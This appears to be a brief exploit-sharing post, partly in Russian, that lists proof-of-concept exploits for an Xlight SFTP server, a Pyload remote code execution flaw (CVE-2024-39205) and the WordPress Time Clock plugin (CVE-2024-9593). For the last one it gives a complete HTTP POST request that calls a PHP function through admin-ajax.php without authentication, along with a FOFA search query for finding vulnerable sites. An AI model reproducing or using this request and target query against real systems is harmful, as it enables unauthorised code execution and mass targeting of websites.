Xlight SFTP server <= 3.9.4.2
*
POC exploit

CVE-2024-39205
*
Pyload (работающий под управлением Python3.11 или ниже) уязвим к RCE
*
Exploit

CVE-2024-9593

POST /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/2
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

function=phpinfo


fofa-query: body="/wp-content/plugins/time-clock/" || body="/wp-content/plugins/time-clock-pro/"

#exploit #poc